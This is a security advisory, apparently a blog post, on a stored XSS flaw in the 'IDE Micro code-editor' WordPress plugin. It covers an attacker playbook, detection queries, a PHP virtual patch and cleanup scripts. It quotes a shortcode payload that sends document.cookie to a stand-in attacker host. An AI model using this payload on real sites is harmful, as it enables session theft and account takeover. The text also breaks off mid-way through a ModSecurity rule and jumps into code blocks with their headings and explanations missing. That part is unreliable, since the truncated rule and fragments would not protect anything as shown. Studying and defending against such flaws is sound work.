Authenticated (Contributor) Stored XSS in “IDE Micro code-editor” — What Every Site Owner Needs to Know

Date: 10 February 2026
Author: Hong Kong Security Expert

Summary: A stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin “IDE Micro code-editor” (versions ≤ 1.0.0) allows an authenticated contributor to inject malicious JavaScript via the shortcode title attribute. Although scored with relatively low priority, the issue can be weaponised to target administrators, editors, and site visitors. This article explains the vulnerability, exploitation methods, detection and remediation steps, short-term virtual patching guidance, secure coding practices, incident response actions, and operational hardening measures.

What happened? A plain-English summary

The plugin registers a shortcode (commonly named along the lines of ide_micro) that accepts a title attribute. The plugin processes that attribute and outputs it without proper sanitisation or escaping. A user with the Contributor role can craft a post containing the vulnerable shortcode and include script content in the title attribute. When an editor, administrator, or a visitor views the page or a preview that renders that shortcode, the stored script runs in their browser context.

Because contributors can create drafts and submit content for review, stored XSS becomes a vehicle to reach higher-privileged users who subsequently view the poisoned content. This can lead to session theft, privilege escalation, content tampering, and broader compromise.

Why this matters: the real-world impact of stored XSS

Stored XSS is particularly dangerous because malicious code is persisted on the site and can be executed repeatedly. Real-world impacts include:

• Session theft and account takeover if session cookies or tokens are exposed.
• Privilege escalation through actions performed in the context of an admin/editor’s browser.
• Reputation harm or distribution of malicious content to site visitors.
• Credential harvesting via deceptive dialogs or forms presented to privileged users.
• Silent redirection, content injection, or loading of cryptomining scripts on visitor browsers.

Vulnerability technical details (how the issue works)

At a technical level, the plugin accepts shortcode attributes and outputs them directly into HTML without contextual escaping. Example payload an attacker might use:

[ide_micro title="<script>fetch('https://attacker/steal?c='+document.cookie)</script>"]

If the shortcode rendering function echoes or returns this attribute into the page without escaping (for example, omitting esc_attr() when placing a value inside a HTML attribute), the script executes in any viewer’s browser who loads that content.

Common root causes:

• Missing sanitisation of shortcode attributes (no sanitize_text_field(), wp_kses(), etc.).
• Directly echoing untrusted values into HTML output.
• Assuming Contributor role provides safe input (it does not).
• Rendering shortcodes in contexts viewed by privileged users (editor previews, admin list screens).

A typical CVSS/CWE-style assessment for this class of bug: low attack complexity, low privileges required (Contributor), user interaction required (an editor/admin must view the content), and potential scope change where the impact crosses to higher-privileged contexts.

Exploitation scenarios (real attacker playbook)

1. Create a new post or edit an existing draft in the WordPress editor.
2. Insert the vulnerable shortcode and place a crafted JavaScript payload in the title attribute.
3. Save as draft or submit for review; the content is now stored in the database.
4. An editor or administrator previews or opens the draft; the stored script executes in their browser.
5. The script can exfiltrate cookies, take administrative actions via logged-in requests, create new accounts, or inject further malicious content.

Alternate vectors include public rendering of the shortcode on front-end pages (impacting all visitors) or sharing of preview links that cause execution for anyone who opens them.

Detecting if you’re affected (queries, scans, and indicators)

Check for the plugin and scan content for the shortcode and inline scripts. Key checks:

1. Confirm plugin installation and version via the Plugins dashboard or by inspecting the filesystem for a directory such as wp-content/plugins/ide-micro-code-editor/.
2. Search posts for the shortcode. Example using WP-CLI:

wp post list --post_type=post,page --format=ids | xargs -n1 -I % wp post get % --field=post_content | grep -n --color -E '\[(ide[_-]?micro|ide-micro)[^]]*title\s*=\s*("|\')'

3. Use SQL to find posts that include the shortcode:

SELECT ID, post_title FROM wp_posts
WHERE post_content LIKE '%[ide_micro%' OR post_content LIKE '%[ide-micro%';

4. Look for <script in post content or postmeta:

SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script%';
SELECT post_id, meta_key FROM wp_postmeta WHERE meta_value LIKE '%<script%';

5. Search revisions and restore clean revisions where needed.
6. Inspect webserver and application logs for suspicious admin actions following content previews.
7. Indicators of compromise: unexpected admin accounts, modified theme/plugin files, posts with obfuscated scripts, or outbound connections to unknown endpoints.

Short-term mitigations (immediate steps to reduce risk)

If you find the vulnerable plugin installed and no official patch is available yet, take these pragmatic steps immediately:

• Disable or remove the plugin if it is not essential. This stops shortcode rendering.
• Restrict Contributor capabilities temporarily or suspend suspicious contributor accounts until you can audit content.
• Sanitise stored content by finding and removing or cleaning occurrences of the vulnerable shortcode in posts and revisions.
• Apply a runtime virtual patch (example below) that sanitises attributes when the shortcode is executed.
• Harden client-side containment by implementing Content Security Policy (CSP) headers — for example, disallow inline scripts where feasible.
• Improve monitoring and logging of user actions and alerts for suspicious admin behaviour.
• Use a WAF or request-filtering to block obvious exploit patterns at the edge until a code-level fix is applied.
• Scan and clean the site for injected content in posts, postmeta, and files. If compromise is found, follow the incident response checklist below.

Quick PHP virtual patch (runtime sanitisation)

If immediate removal of the plugin is not possible, deploy a temporary mu-plugin or site-specific plugin that sanitises the title attribute of the shortcode at runtime. Test in staging first.

<?php
/**
 * mu-plugin: sanitize-ide-micro-shortcode.php
 * Place in wp-content/mu-plugins/ to ensure it runs.
 */

add_action('init', function() {
    $tag = 'ide_micro'; // change to the actual shortcode tag if different

    global $shortcode_tags;

    if (!isset($shortcode_tags[$tag])) {
        return;
    }

    $original_callback = $shortcode_tags[$tag];

    remove_shortcode($tag);

    add_shortcode($tag, function($atts = [], $content = null, $shortcode_tag = '') use ($original_callback) {
        if (isset($atts['title'])) {
            $clean = wp_kses($atts['title'], []); // strip HTML
            $clean = html_entity_decode($clean, ENT_QUOTES | ENT_HTML5, 'UTF-8');
            $clean = sanitize_text_field($clean);
            $atts['title'] = $clean;
        }
        return call_user_func($original_callback, $atts, $content, $shortcode_tag);
    });
});

Notes:

• This is a temporary mitigation. It may affect plugin behaviour if the plugin expects HTML in the title attribute.
• Always test on staging and keep backups before deploying changes that affect rendering.

WAF protective measures and recommended virtual patches

A web application firewall (WAF) or request-filtering layer can stop attempts to store malicious payloads before they hit the database. Recommended approaches:

• Virtual patching rule: create a rule that inspects request bodies for the shortcode pattern and blocks or sanitises payloads containing script-like substrings within the title attribute. Example ModSecurity-style pseudo-rule (test thoroughly):

SecRule REQUEST_BODY "@rx \[(?:ide[_-]?micro|ide-micro)[^\]]*title\s*=\s*(['"]).*?(

function ide_micro_shortcode_callback($atts, $content = null) {
    $atts = shortcode_atts(
        [
            'title' => '',
        ],
        $atts,
        'ide_micro'
    );

    $title = sanitize_text_field( wp_kses( $atts['title'], array() ) ); // strips HTML and sanitizes
    $output = '<div class="ide-micro" data-title="' . esc_attr( $title ) . '">';
    // ...
    $output .= '</div>';

    return $output;
}

add_filter('content_save_pre', 'strip_risky_shortcodes_for_contributors', 10, 1);
function strip_risky_shortcodes_for_contributors($content) {
    if ( current_user_can('contributor') && ! current_user_can('unfiltered_html') ) {
        // Remove ide_micro shortcode occurrences
        $content = preg_replace('/\[(ide[_-]?micro|ide-micro)[^\]]*\]/i', '', $content);
    }
    return $content;
}

# List posts containing the shortcode
wp post list --post_type=post,page --format=json | jq -r '.[] | select(.post_content | test("\\[(ide[_-]?micro|ide-micro)")) | "\(.ID) \(.post_title)"'

# Export suspicious post content
wp post get <ID> --field=post_content > suspicious-post-<ID>.html

<?php
$args = array(
    'post_type' => array('post', 'page'),
    'posts_per_page' => -1,
    's' => '[ide_micro',
);
$query = new WP_Query($args);

foreach ($query->posts as $p) {
    $original = $p->post_content;
    $cleaned = preg_replace('/\[(ide[_-]?micro|ide-micro)[^\]]*\]/i', '', $original);
    if ($cleaned !== $original) {
        // store backup in postmeta
        update_post_meta($p->ID, '_backup_content_before_shortcode_cleanup', $original);
        // update post content
        wp_update_post(array(
            'ID' => $p->ID,
            'post_content' => $cleaned,
        ));
    }
}